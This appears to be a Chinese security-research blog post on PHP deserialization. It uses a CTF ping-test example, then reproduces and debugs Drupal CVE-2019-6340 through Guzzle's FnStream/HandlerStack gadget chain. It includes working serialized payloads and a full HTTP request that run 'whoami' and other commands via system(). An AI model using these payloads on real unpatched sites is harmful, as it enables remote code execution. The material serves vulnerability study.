PHP代码审计之反序列化攻击链CVE-2019-6340漏洞研究
关键词
php 反序列化 cms Drupal CVE-2019-6340 DrupalKernel
前言
简简单单介绍下php的反序列化漏洞
php反序列化漏洞简单示例
来看一段简单的php反序列化示例
<?phpclass pingTest {public $ipAddress = "127.0.0.1";public $isValid = False;public $output = "";function validate() {if (!$this->isValid) {if (filter_var($this->ipAddress, FILTER_VALIDATE_IP)){$this->isValid = True;}}$this->ping();}public function ping(){if ($this->isValid) {$this->output = shell_exec("ping -c 3 $this->ipAddress");}}}if (isset($_POST['obj'])) {$pingTest = unserialize(urldecode($_POST['obj']));
} else {$pingTest = new pingTest;
}$pingTest->validate();echo "<html>
<head>
<script src=\"http://secure.cereal.ctf:44441/php.js\"></script>
<script>
function submit_form() {var object = serialize({ipAddress: document.forms[\"ipform\"].ip.value});object = object.substr(object.indexOf(\"{\"),object.length);object = \"O:8:\\\"pingTest\\\":1:\" + object;document.forms[\"ipform\"].obj.value = object;document.getElementById('ipform').submit();
}
</script>
<link rel='stylesheet' href='http://secure.cereal.ctf:44441/style.css' media='all' />
<title>Ping Test</title>
</head>
<body>
<div class=\"form-body\">
<div class=\"row\"><div class=\"form-holder\"><div class=\"form-content\"><div class=\"form-items\"><h3>Ping Test</h3><form method=\"POST\" action=\"/\" id=\"ipform\" onsubmit=\"submit_form();\" class=\"requires-validation\" novalidate><div class=\"col-md-12\"><input name=\"obj\" type=\"hidden\" value=\"\"><input class=\"form-control\" type=\"text\" name=\"ip\" placeholder=\"IP Address\" required></div><br /><div class=\"form-button mt-3\"><input type=\"submit\" value=\"Ping!\"><br /><br /><textarea>$pingTest->output</textarea></div></form></div></div></div>
</div>
</div>
</body>
</html>";?>
这里接收一个名为obj的post 参数,对其进行unserialize,调用反序列化后对象的validate方法,不过之要isValid进行判断是true就可以执行shell_exec函数,并且里面的ipAddress是拼接上去的,我们可以用逻辑符造成任意命令执行。
反序列化的对象我们可以指定,那么对象之中的属性值我们自然也可以指定。注意这里说的是对象的的属性值,是基于类中有的。你若想加一个属性或者重写一个方法那指定不行(温习下php的反序列化)。
正常的用户的请求是这样的
Obj:O:8:"pingTest":1:{s:9:"ipAddress";s:9:"127.0.0.1";}
这里的0表示的对象(传参是对象),后面的8是指类名长度为8,1表示我有一个成员属性 s:9表示字符串有9个长度(ipaddress)
xxx;xxxx 代表一个key:val
攻击payload生成
<?phpclass pingTest {public $ipAddress = "127.0.0.1 | id";public $isValid = True;}
$obj = new pingTest();
echo serialize($obj);
?>
O:8:"pingTest":2:{s:9:"ipAddress";s:14:"127.0.0.1 | id";s:7:"isValid";b:1;}
如此一来就可以过if条件判断,可以执行命令id了
反序列化漏洞小知识
php是一个弱类型的语言,这里的弱是指什么意思呢!对比下C语言和java语言在声明变量的时候必须指定变量的数据类型,然而在其它一些语言上则根本不用这样做如python PHP,只需有一个变量名就可以存任意数据类型的参数,这点我很不喜欢,太不规范了,我想这也是照成=与==漏洞的原因吧,
回到PHP反序列化,为什么我要说这个机制呢,因为实际中(非ctf)都是对象中存储对象(像上面的$isValid只能存bool类型的值吗 当然不string int 甚至是一个对象它都可以存储),对象又再次存储对象呢。由此可能造成一条反序列化链。
此外还有属于PHP反序列化的魔术方法,这也很好理解。要在对对象建立后优先执行一些代码如初始化之类的,执行方法前去执行一些代码,对象用完后执行一些代码如销毁。这就是一个切面编程的思想(哈哈哈不知道它们谁先出现,也许程序员心有灵犀)。其中魔术方法会根据对象里的属性值去执行某种逻辑,或是判断或是调用。这里如果没有严格过滤,就有可能照成一条倒是命令执行利用链。
Drupalcms——CVE-2019-6340漏洞复现
版本影响Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10 V contain certain field types that do not properly sanitize data from non-form sources, which can lead to arbitrary PHP code execution in some cases.
https://www.drupal.org/sa-core-2019-003https://www.drupal.org/sa-core-2019-003
根据漏洞影响版本,我们下载8.6.9
https://www.drupal.org/project/drupal/releases/8.6.9https://www.drupal.org/project/drupal/releases/8.6.9
安装cms
安装完成后,打开主页面
来到扩展 将web services 的所有扩展打开
payload 测试
POST /drupal-8.6.9/node/?_format=hal_json HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 642
Content-Type: application/hal+json
Accept-Encoding: gzip{"link": [{"value": "link","options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:6:\"whoami\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"}],"_links": {"type": {"href":"http://127.0.0.1/drupal-8.6.9/rest/type/shortcut/default"}}
}
注意了options的内容为php序列化的内容,所以s:6:"whoami";s表示string参数类型,6表是长度为6,whoami就是我们执行的命令了,改成其他的命令记得把长度写发生响应的改变。
结果显示whoami已经执行,权限是system的权限,这也是windows搭建web的弊端了!
CVE-2019-6340代码调试分析
打开index.php
<?php/*** @file* The PHP page that serves all page requests on a Drupal installation.** All Drupal code is released under the GNU General Public License.* See COPYRIGHT.txt and LICENSE.txt files in the "core" directory.*/use Drupal\Core\DrupalKernel;
//DrupalKernel 类是 Drupal 的核心引导类,负责初始化和管理整个 Drupal 应用程序的生命周期。
use Symfony\Component\HttpFoundation\Request;
//Symfony\Component\HttpFoundation\Request 类是 Symfony 框架中的一个组件,用于处理和封装 HTTP 请求。
$autoloader = require_once 'autoload.php';
$kernel = new DrupalKernel('prod', $autoloader);
// 加载 Drupal 的自动加载器和内核。
//$autoloader 是自动加载器对象,用于自动加载应用程序中的类文件$request = Request::createFromGlobals();
// 创建一个新的 HTTP 请求对象。
//这个方法会自动获取当前请求的各种信息,如请求方法、URL、头部信息等,并将其封装在一个 Request 对象中$response = $kernel->handle($request);
// 处理请求并获取响应对象。
//调用了 Drupal 内核对象的 handle() 方法,用于处理当前请求并生成一个响应对象。这个过程包括路由匹配、控制器调用、模板渲染等操作,具体实现方式可以参考 Drupal 的路由和控制器系统。$response->send();
// 将响应内容发送给客户端。$kernel->terminate($request, $response);
// 结束请求处理过程,清理资源。
打上断点 进入$response = $kernel->handle($request);
public function handle(Request $request, $type = self::MASTER_REQUEST, $catch = TRUE) {// Ensure sane PHP environment variables.static::bootEnvironment();//调用 bootEnvironment() 方法来确保 PHP 环境变量的正确性。try {$this->initializeSettings($request);//尝试初始化设置(initializeSettings)。// Redirect the user to the installation script if Drupal has not been// installed yet (i.e., if no $databases array has been defined in the// settings.php file) and we are not already installing.if (!Database::getConnectionInfo() && !drupal_installation_attempted() && PHP_SAPI !== 'cli') {$response = new RedirectResponse($request->getBasePath() . '/core/install.php', 302, ['Cache-Control' => 'no-cache']);}//如果数据库连接信息不存在且没有进行 Drupal 安装尝试,并且不是在命令行环境下运行,则重定向用户到安装脚本(install.php)else {//否则,调用 boot() 方法进行启动,并调用 $this->getHttpKernel()->handle($request, $type, $catch) 处理请求$this->boot();$response = $this->getHttpKernel()->handle($request, $type, $catch);//断点进入}}catch (\Exception $e) {if ($catch === FALSE) {throw $e;}$response = $this->handleException($e, $request, $type);}// Adapt response headers to the current request.$response->prepare($request);return $response;}
中间省略......... 咱们直接来到
REST API request.部分
/*** Handles a REST API request.** @param \Drupal\Core\Routing\RouteMatchInterface $route_match* The route match.* @param \Symfony\Component\HttpFoundation\Request $request* The HTTP request object.* @param \Drupal\rest\RestResourceConfigInterface $_rest_resource_config* The REST resource config entity.** @return \Drupal\rest\ResourceResponseInterface|\Symfony\Component\HttpFoundation\Response* The REST resource response.*/
public function handle(RouteMatchInterface $route_match, Request $request, RestResourceConfigInterface $_rest_resource_config) {$resource = $_rest_resource_config->getResourcePlugin();$unserialized = $this->deserialize($route_match, $request, $resource);//开始反序列化了打上断点进入调试$response = $this->delegateToRestResourcePlugin($route_match, $request, $unserialized, $resource);return $this->prepareResponse($response, $_rest_resource_config);
}
该方法是 Drupal REST API 模块的请求处理程序。它接收三个参数:RouteMatchInterface $route_match
表示当前路由匹配的对象,Request $request
表示当前 HTTP 请求对象,RestResourceConfigInterface $_rest_resource_config
表示当前的 REST 资源配置实体。
具体逻辑如下:
-
首先,从
$rest_resource_config
中获取相应的资源插件(resource plugin)。 -
然后,使用
$this->deserialize()
方法对请求中的数据进行反序列化,并将结果保存在$unserialized
变量中。 -
接下来,调用
$this->delegateToRestResourcePlugin()
方法委托给资源插件进行进一步的处理,并将结果保存在$response
变量中。 -
最后,使用
$this->prepareResponse()
方法对响应进行处理和准备,并将其返回。
需要注意的是,该方法中的 $this->deserialize()
、$this->delegateToRestResourcePlugin()
和 $this->prepareResponse()
方法并未在该代码片段中定义,它们可能是该类的其他成员方法或从其他地方引入的依赖项。
总体上,该方法的作用是将 HTTP 请求委托给指定的 REST 资源插件进行处理,并返回处理后的响应。
进入deserialize函数
protected function deserialize(RouteMatchInterface $route_match, Request $request, ResourceInterface $resource) {// Deserialize incoming data if available.$received = $request->getContent();
//首先,从请求对象中获取请求的内容,并将其保存在 $received 变量中,这个变量可控$unserialized = NULL;if (!empty($received)) {//获取规范化的请求方法和请求内容类型。$method = static::getNormalizedRequestMethod($route_match);$format = $request->getContentType();//得到参数的方法 重点分析一下//从资源插件定义中获取相关信息。$definition = $resource->getPluginDefinition();// First decode the request data. We can then determine if the// serialized data was malformed.try {$unserialized = $this->serializer->decode($received, $format, ['request_method' => $method]);//断点进入}catch (UnexpectedValueException $e) {// If an exception was thrown at this stage, there was a problem// decoding the data. Throw a 400 http exception.throw new BadRequestHttpException($e->getMessage());}// Then attempt to denormalize if there is a serialization class.if (!empty($definition['serialization_class'])) {try {$unserialized = $this->serializer->denormalize($unserialized, $definition['serialization_class'], $format, ['request_method' => $method]);//断点分析}// These two serialization exception types mean there was a problem// with the structure of the decoded data and it's not valid.catch (UnexpectedValueException $e) {throw new UnprocessableEntityHttpException($e->getMessage());}catch (InvalidArgumentException $e) {throw new UnprocessableEntityHttpException($e->getMessage());}}}return $unserialized;
}
......
进入decodingImpl的decode方法
public function decode($data, $format, array $context = array())
{// 解析上下文参数$context = $this->resolveContext($context);// 从上下文中获取 JSON 解码时的相关参数$associative = $context['json_decode_associative'];$recursionDepth = $context['json_decode_recursion_depth'];$options = $context['json_decode_options'];// 使用 json_decode 函数对数据进行解码$decodedData = json_decode($data, $associative, $recursionDepth, $options);
/*将 $associative 参数设置为 true。这意味着解码结果将被转换为关联数组而不是对象
限制递归深度512
$options 参数来设置 JSON 解码选项
*/// 检查解码过程中是否出现错误if (JSON_ERROR_NONE !== json_last_error()) {throw new NotEncodableValueException(json_last_error_msg());}// 返回解码后的数据return $decodedData;
}
.....
denormalize方法调入
//这段代码是Symfony框架的DenormalizerInterface接口方法denormalize()的实现。
public function denormalize($data, $type, $format = null, array $context = array())
{// 检查是否已注册至少一个normalizerif (!$this->normalizers) {throw new LogicException('You must register at least one normalizer to be able to denormalize objects.');}if ($normalizer = $this->getDenormalizer($data, $type, $format, $context)) {// 调用normalizer的denormalize方法进行反序列化操作return $normalizer->denormalize($data, $type, $format, $context);//断点调试}throw new NotNormalizableValueException(sprintf('Could not denormalize object of type %s, no supporting normalizer found.', $type));
}
进入
public function denormalize($data, $class, $format = NULL, array $context = []) {// Get type, necessary for determining which bundle to create.if (!isset($data['_links']['type'])) {throw new UnexpectedValueException('The type link relation must be specified.');}// Create the entity.$typed_data_ids = $this->getTypedDataIds($data['_links']['type'], $context);//断点分析 需要重点关注一下$entity_type = $this->getEntityTypeDefinition($typed_data_ids['entity_type']);$default_langcode_key = $entity_type->getKey('default_langcode');$langcode_key = $entity_type->getKey('langcode');$values = [];// Figure out the language to use.if (isset($data[$default_langcode_key])) {// Find the field item for which the default_langcode value is set to 1 and// set the langcode the right default language.foreach ($data[$default_langcode_key] as $item) {if (!empty($item['value']) && isset($item['lang'])) {$values[$langcode_key] = $item['lang'];break;}}// Remove the default langcode so it does not get iterated over below.unset($data[$default_langcode_key]);}if ($entity_type->hasKey('bundle')) {$bundle_key = $entity_type->getKey('bundle');$values[$bundle_key] = $typed_data_ids['bundle'];// Unset the bundle key from data, if it's there.unset($data[$bundle_key]);}$entity = $this->entityManager->getStorage($typed_data_ids['entity_type'])->create($values);// Remove links from data array.unset($data['_links']);// Get embedded resources and remove from data array.$embedded = [];if (isset($data['_embedded'])) {$embedded = $data['_embedded'];unset($data['_embedded']);}// Flatten the embedded values.foreach ($embedded as $relation => $field) {$field_ids = $this->linkManager->getRelationInternalIds($relation);if (!empty($field_ids)) {$field_name = $field_ids['field_name'];$data[$field_name] = $field;}}$this->denormalizeFieldData($data, $entity, $format, $context);//断点进入// Pass the names of the fields whose values can be merged.// @todo https://www.drupal.org/node/2456257 remove this.$entity->_restSubmittedFields = array_keys($data);return $entity;
}
.......
public function denormalize($data, $class, $format = NULL, array $context = []) {if (!isset($context['target_instance'])) {throw new InvalidArgumentException('$context[\'target_instance\'] must be set to denormalize with the FieldItemNormalizer');}if ($context['target_instance']->getParent() == NULL) {throw new InvalidArgumentException('The field item passed in via $context[\'target_instance\'] must have a parent set.');}$field_item = $context['target_instance'];// If this field is translatable, we need to create a translated instance.if (isset($data['lang'])) {$langcode = $data['lang'];unset($data['lang']);$field_definition = $field_item->getFieldDefinition();if ($field_definition->isTranslatable()) {$field_item = $this->createTranslatedInstance($field_item, $langcode);}}$field_item->setValue($this->constructValue($data, $context));return $field_item;
}
到setValue
public function setValue($values, $notify = TRUE) {// Treat the values as property value of the main property, if no array is// given.if (isset($values) && !is_array($values)) {$values = [static::mainPropertyName() => $values];}if (isset($values)) {$values += ['options' => [],];}// Unserialize the values.// @todo The storage controller should take care of this, see// SqlContentEntityStorage::loadFieldItems, see// https://www.drupal.org/node/2414835if (is_string($values['options'])) {$values['options'] = unserialize($values['options']);//漏洞触发点}parent::setValue($values, $notify);
}
至此终于找到漏洞促发点了 !options为可控变量,对其进行unserialize 已经是反序列化漏洞形成的前提了,现在我们只需找出这在个cms库中存在的一条反序列化漏洞链就可以rce了
Guzzle库的序列化漏洞利用链
利用Drupal自带的Guzzle库
分析FnStream 类 与 HandlerStack类
class FnStream implements StreamInterface
{/** @var array */private $methods;/** @var array Methods that must be implemented in the given array */private static $slots = ['__toString', 'close', 'detach', 'rewind','getSize', 'tell', 'eof', 'isSeekable', 'seek', 'isWritable', 'write','isReadable', 'read', 'getContents', 'getMetadata'];/*** @param array $methods Hash of method name to a callable.*/public function __construct(array $methods){$this->methods = $methods;// Create the functions on the classforeach ($methods as $name => $fn) {$this->{'_fn_' . $name} = $fn;}}/*** Lazily determine which methods are not implemented.* @throws \BadMethodCallException*/public function __get($name){throw new \BadMethodCallException(str_replace('_fn_', '', $name). '() is not implemented in the FnStream');}/*** The close method is called on the underlying stream only if possible.*/public function __destruct(){if (isset($this->_fn_close)) {call_user_func($this->_fn_close);//反序列化可触发这个类}//call_user_func("resolve") 调用function}/*** Adds custom functionality to an underlying stream by intercepting* specific method calls.** @param StreamInterface $stream Stream to decorate* @param array $methods Hash of method name to a closure** @return FnStream*/public static function decorate(StreamInterface $stream, array $methods){// If any of the required methods were not provided, then simply// proxy to the decorated stream.foreach (array_diff(self::$slots, array_keys($methods)) as $diff) {$methods[$diff] = [$stream, $diff];}return new self($methods);}public function __toString(){return call_user_func($this->_fn___toString);}public function close(){return call_user_func($this->_fn_close);}public function detach(){return call_user_func($this->_fn_detach);}public function getSize(){return call_user_func($this->_fn_getSize);}public function tell(){return call_user_func($this->_fn_tell);}public function eof(){return call_user_func($this->_fn_eof);}public function isSeekable(){return call_user_func($this->_fn_isSeekable);}public function rewind(){call_user_func($this->_fn_rewind);}public function seek($offset, $whence = SEEK_SET){call_user_func($this->_fn_seek, $offset, $whence);}public function isWritable(){return call_user_func($this->_fn_isWritable);}public function write($string){return call_user_func($this->_fn_write, $string);}public function isReadable(){return call_user_func($this->_fn_isReadable);}public function read($length){return call_user_func($this->_fn_read, $length);}public function getContents(){return call_user_func($this->_fn_getContents);}public function getMetadata($key = null){return call_user_func($this->_fn_getMetadata, $key);}
}
class HandlerStack
{/** @var callable */private $handler;/** @var array */private $stack = [];/** @var callable|null */private $cached;..../*** @param callable $handler Underlying HTTP handler.*/public function __construct(callable $handler = null){$this->handler = $handler;}/*** Invokes the handler stack as a composed handler** @param RequestInterface $request* @param array $options*/public function __invoke(RequestInterface $request, array $options){$handler = $this->resolve();return $handler($request, $options);}........./*** Compose the middleware and handler into a single callable function.** @return callable*/public function resolve(){if (!$this->cached) {if (!($prev = $this->handler)) {throw new \LogicException('No handler has been specified');}foreach (array_reverse($this->stack) as $fn) {$prev = $fn[0]($prev);}$this->cached = $prev;}return $this->cached;}
......
若$fn[0]为system $prev 也可控则攻击链成立
"O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"\u0000GuzzleHttp\Psr7\FnStream\u0000methods";a:1:{s:5:"close";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:"\u0000GuzzleHttp\HandlerStack\u0000handler";s:70:"cmd.exe /c set /a 2089950217 - 1907099809&expr 2089950217 - 1907099809";s:30:"\u0000GuzzleHttp\HandlerStack\u0000stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000GuzzleHttp\HandlerStack\u0000cached";b:0;}i:1;s:7:"resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}"
"O:24:"GuzzleHttp\Psr7\FnStream"(类名24个长度):2(2个属性):{s:33:"\u0000GuzzleHttp\Psr7\FnStream\u0000methods"(第一个属性为FnStream类下的methods赋值为数组);a:1(数组一个):{s:5:"close"(key为close);a:2(value为数组属性有两个):{i:0(第一个为对象);O:23:"GuzzleHttp\HandlerStack":3(有三个属性成员):{s:32:"\u0000GuzzleHttp\HandlerStack\u0000handler(第一个为handler)";s:70:"cmd.exe /c set /a 2089950217 - 1907099809&expr 2089950217 - 1907099809";s:30:"\u0000GuzzleHttp\HandlerStack\u0000stack(第二个为stack是数组)";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000GuzzleHttp\HandlerStack\u0000cached";b:0;}i:1;s:7(第二个为字符串):"resolve";}}(结束)s:9:"fn_close"(第二个属性为fn_close);a:2:{i:0;r:4(引用类型);i:1;s:7:"resolve";}}(fn_close=resolve 调用resolve方法)"
大致长成这个样子
如此一来在call_user_func($this->_fn_close);的时候
就会调用resolve函数 按照机制优先从本类的funtion去寻找,没有找到会从引用的对象中找,这就找到了methods存储的对象中的方法,(PHP语言为弱类型一个变量名可存任意类型的数据)。于是乎来到了GuzzleHttp\HandlerStack对象下的resolve方法,当然这个对象的属性也是可控的,$stack为数组内有system字符串之后遍历到$fn,拼接($prev) $prev有本对象的$handler赋值,如此一来参数可控,php反序列化恶意链成立造成命令执行。
相关文章:
PHP代码审计之反序列化攻击链CVE-2019-6340漏洞研究
关键词 php 反序列化 cms Drupal CVE-2019-6340 DrupalKernel 前言 简简单单介绍下php的反序列化漏洞 php反序列化漏洞简单示例 来看一段简单的php反序列化示例 <?phpclass pingTest {public $ipAddress "127.0.0.1";public $isValid False;public $output…...
PyTorch之线性回归
1.定义: 回归分析是确定两种或两种以上变量间相互依赖的定量关系的一种统计分析方法。线性回归是利用称为线性回归方程的最小二乘函数,对一个或多个自变量和因变量之间关系,进行建模的一种回归分析。这种函数是一个或多个称为回归系数的模型参…...
SSTI模板注入基础(Flask+Jinja2)
文章目录 一、前置知识1.1 模板引擎1.2 渲染 二、SSTI模板注入2.1 原理2.2 沙箱逃逸沙箱逃逸payload讲解其他重要payload 2.3 过滤绕过点.被过滤下划线_被过滤单双引号 "被过滤中括号[]被过滤关键字被过滤 三、PasecaCTF-2019-Web-Flask SSTI参考文献 一、前置知识 1.1 模…...
React网页转换为pdf并下载|使用jspdf html2canvas
checkout 分支后突然报错,提示: Cant resolve jspdf in ... Cant resolve html2canvas in ... 解决方法很简单,重新 yarn install 就好了,至于为什么,我暂时也不知道,总之解决了。 思路来源: 先…...
EASYEXCEL导出表格(有标题、单元格合并)
EASYEXCEL导出表格(有标题、单元格合并) xlsx格式报表的导出,导出的数据存在父子关系,即相当于树形数据,有单元格合并和标题形式的要求,查阅了一些资料,总算是弄出来了,这里另写一个…...
pytest 断言异常
一、前置说明 在 pytest 中,断言异常是通过 pytest 内置的 pytest.raises 上下文管理器来实现的。通过使用 pytest.raises,可以捕获并断言代码中引发的异常。 二、操作步骤 1. 编写测试代码 atme/demos/demo_pytest_tutorials/test_pytest_raises.py import pytest# 示例…...
听GPT 讲Rust源代码--src/tools(22)
File: rust/src/tools/tidy/src/lib.rs rust/src/tools/tidy/src/lib.rs是Rust编译器源代码中tidy工具的实现文件之一。tidy工具是Rust项目中的一项静态检查工具,用于确保代码质量和一致性。 tidy工具主要有以下几个作用: 格式化代码:tidy工具…...
OD Linux发行版本
题目描述: Linux操作系统有多个发行版,distrowatch.com提供了各个发行版的资料。这些发行版互相存在关联,例如Ubuntu基于Debian开发,而Mint又基于Ubuntu开发,那么我们认为Mint同Debian也存在关联。 发行版集是一个或多…...
华为端口隔离简单使用方法同vlan下控制个别电脑不给互通
必须得用access接口,hybrid口不行 dhcp enable interface Vlanif1 ip address 192.168.1.1 255.255.255.0 dhcp select interface interface MEth0/0/1 interface GigabitEthernet0/0/1 port link-type access port-isolate enable group 1 interface GigabitEther…...
DaVinci各版本安装指南
链接: https://pan.baidu.com/s/1g1kaXZxcw-etsJENiW2IUQ?pwd0531 #2024版 1.鼠标右击【DaVinci_Resolve_Studio_18.5(64bit)】压缩包(win11及以上系统需先点击“显示更多选项”)【解压到 DaVinci_Resolve_Studio_18.5(64bit)】。 2.打开解压后的文…...
【黑马甄选离线数仓day10_会员主题域开发_DWS和ADS层】
day10_会员主题域开发 会员主题_DWS和ADS层 DWS层开发 门店会员分类天表: 维度指标: 指标:新增注册会员数、累计注册会员数、新增消费会员数、累计消费会员数、新增复购会员数、累计复购会员数、活跃会员数、沉睡会员数、会员消费金额 维度: 时间维度(…...
OD 完美走位
题目描述: 在第一人称射击游戏中,玩家通过键盘的A、S、D、W四个按键控制游戏人物分别向左、向后、向右、向前进行移动,从而完成走位。假设玩家每按动一次键盘,游戏人物会向某个方向移动一步,如果玩家在操作一定次数的键…...
SpringSecurity6 | 失败后的跳转
✅作者简介:大家好,我是Leo,热爱Java后端开发者,一个想要与大家共同进步的男人😉😉 🍎个人主页:Leo的博客 💞当前专栏: Java从入门到精通 ✨特色专栏: MySQL学习 🥭本文内容: SpringSecurity6 | 失败后的跳转 📚个人知识库: Leo知识库,欢迎大家访问 学习…...
MySQL数据库增删改查
常用的数据类型: int:整数类型,无符号的范围【0,2^32-1】,有符号【-2^31,2^31-1】 float:单精度浮点,4字节64位 double:双精度浮点,8字节64位 char:固定长…...
Altium Designer(AD24)新工程复用设计文件图文教程及视频演示
🏡《专栏目录》 目录 1,概述2,复用方法一视频演示2.1,创建工程2.2,复用设计文件 3,复用方法二视频演示4,总结 欢迎点击浏览更多高清视频演示 1,概述 本文简述使用AD软件复用设计文件…...
Python遥感影像深度学习指南(1)-使用卷积神经网络(CNN、U-Net)和 FastAI进行简单云层检测
【遥感影像深度学习】系列的第一章,Python遥感影像深度学习的入门课程,介绍如何使用卷积神经网络(CNN)从卫星图像中分割云层 1、数据集 在本项目中,我们将使用 Kaggle 提供的 38-Cloud Segmentation in Satellite Images数据集。 该数据集由裁剪成 384x384 (适用…...
Hive-DML详解(超详细)
文章目录 前言HiveQL的数据操作语言(DML)1. 插入数据1.1 直接插入固定值1.2 插入查询结果 2. 更新数据3. 删除数据3.1 删除整个分区 4. 查询数据4.1 基本查询4.2 条件筛选4.3 聚合函数 总结 前言 本文将介绍HiveQL的数据操作语言(DML&#x…...
PHP实现可示化代码
PHP是一种服务器端脚本语言,它主要用于开发Web应用程序。虽然PHP本身不提供可视化代码的功能,但你可以使用一些第三方库和工具来实现可视化代码。 以下是一些常用的PHP可视化代码的工具和库: 1. Graphviz:Graphviz是一个开源的可…...
useState语法讲解
useState语法讲解 语法定义 const [state, dispatch] useState(initData)state:定义的数据源,可视作一个函数组件内部的变量,但只在首次渲染被创造。dispatch:改变state的函数,推动函数渲染的渲染函数。dispatch有两…...
堆与二叉树(下)
接着上次的,这里主要介绍的是堆排序,二叉树的遍历,以及之前讲题时答应过的简单二叉树问题求解 堆排序 给一组数据,升序(降序)排列 思路 思考:如果排列升序,我们应该建什么堆&#x…...
讲诉JVM
jvm是Java代码运行的环境,他将java程序翻译成为机器可以可以识别的机器码,可以跨平台运行如linuc或者windos 简单说一下我对jvm运行的理解, 首先我们运行程序的时候,类加载器会将类按需加载到元空间/方法区里面 …...
8、SpringCloud高频面试题-版本1
1、SpringCloud组件有哪些 SpringCloud 是一系列框架的有序集合。它利用 SpringBoot 的开发便利性巧妙地简化了分布式系统基础设施的开发,如服务发现注册、配置中心、消息总线、负载均衡、断路器、数据监控等,都可以用 SpringBoot 的开发风格做到一键启…...
PHP案例代码:PHP如何提供下载功能?
对Web开发人员来说,“下载”功能是一个非常常见的需求。在网站中提供文件下载,通常用于提供用户手册、软件升级、音乐、视频等各种资源文件。本教程将向您介绍如何实现一个PHP下载功能,同时告诉浏览器文件名称、文件大小、文件类型,并统计下载次数。 首先,我们需要了解一些…...
The Cherno C++笔记 03
目录 Part 07 How the C Linker Works 1.链接 2.编译链接过程中出现的错误 2.1 缺少入口函数 注意:如何区分编译错误还是链接错误 注意:入口点可以自己设置 2.2 找不到自定义函数 2.2.1缺少声明 2.2.2自定义函数与引用函数不一致 2.3 在头文件中放入定义 …...
蓝牙物联网与嵌入式开发如何结合?
蓝牙物联网与嵌入式开发可以紧密结合,以实现更高效、更智能的物联网应用。以下是一些结合的方式: 嵌入式开发为蓝牙设备提供硬件基础设施和控制逻辑:嵌入式系统可以利用微处理器和各种外设组成的系统,为蓝牙设备提供硬件基础设施和…...
前端面试——JavaScript面经(持续更新)
一、数据类型 1. JavaScript用哪些数据类型、它们有什么区别? JavaScript共有八种数据类型,分别包括5种基本数据类型和3种非基本数据类型。 基本数据类型:Undefined、Null、Boolean、Number、String。非基本数据类型:Object、S…...
微前端——无界wujie
B站课程视频 课程视频 课程课件笔记: 1.微前端 2.无界 现有的微前端框架:iframe、qiankun、Micro-app(京东)、EMP(百度)、无届 前置 初始化 新建一个文件夹 1.通过npm i typescript -g安装ts 2.然后可…...
连锁便利店管理系统有什么用
连锁便利店管理系统对于连锁便利店的运营和管理非常有用。以下是一些常见的用途: 1. 库存管理:连锁便利店通常需要管理多个门店的库存,管理系统可以帮助实时掌握各个门店的库存情况,包括商品数量、进货记录、库存调拨等。这样可以…...
Vue 的两种实现:VSCode 中配置 vue 模板快捷方式的过程
1、创建配置文件: 其一、打开 VSCode ,CtrlShiftP, 打开搜索框: 其二、输入:user, 并点击进去 Snippets:Configure User Snippets 其三、输入 vue3js 并回车: 其四、打开项目,发现配置文件 vue3js.code-sn…...
electron 切换至esm
前言 好消息,经过不知道多少年的讨论。 electron28.0.0开始(23.08.31),默认支持esm了。 see https://github.com/electron/electron/issues/21457 使用方法 升级至electron^28.0.0简单地在package.json中添加"type":…...
【新版】软考 - 系统架构设计师(总结笔记)
个人总结学习笔记,仅供参考!!!! →点击 笔者主页,欢迎关注哦(互相学习,共同成长) 笔记目录 📢【系统架构设计系列】系统架构设计专业技能 计算机组成与结构操作系统信…...
Spring MVC 方法中添加参数、HttpServletRequest 和 HttpServletResponse 对象
在这个例子中,我们添加了 HttpServletRequest 和 HttpServletResponse 对象作为控制器方法的参数。这样,你就可以在方法内部同时访问请求参数、请求对象和响应对象,从而进行更灵活的 HTTP 请求和响应处理。 RestController public class MyC…...
单片机的RTC获取网络时间
理解网络同步校准RTC的原理需要考虑NTP、SNTP、RTC这三个关键组件的作用和交互。下面详细解释这个过程: 1. NTP(Network Time Protocol): 协议目的:NTP是用于同步计算机和设备时钟的协议。它通过在网络上与时间服务器通…...
Android 13 内置可卸载的搜狗输入法
环境 系统:Android 13 芯片厂商:展锐 需求 默认只有英文输入法,没有中文,需要中文输入法,且可以卸载的。 实测为搜狗输入法,百度等其它输入法也同样适用。 实现 在SDK目录中创建packages/apps/SogouIM…...
持续集成交付CICD:GitLabCI 封装Python类 并结合 ArgoCD 完成前端项目应用发布
目录 一、实验 1. 环境 2. Python代码实现获取文件 3.Python代码实现创建文件 4.Python代码实现更新文件 5.GitLab更新库文件与运行流水线 6.ArgoCD 完成前端项目应用发布 二、问题 1.Python获取GitLab指定仓库文件报错 2. K8S master节点运行Python代码报错 一、实验…...
第十三章 常用类(Math 类、Arrays 类、System类、Biglnteger 和BigDecimal 类、日期类)
一、Math 类(P481) Math 类包含,用于执行基本数学运算的方法,如初等指数、对数、平方根和三角函数。 (1)abs:绝对值 (2)pow:求幂 (3)c…...
2023年12月24日学习总结
今日to do list: 做kaggle上面的流量预测项目☠️ 学习时不刷手机🤡 okkkkkkkkkkkkkk 开始👍🍎 0、我在干什么? 我在预测一个名字叫做elborn基站的下行链路流量,用过去29天的数据预测未来10天的数据 1、…...
第26关 K8s日志收集揭秘:利用Log-pilot收集POD内业务日志文件
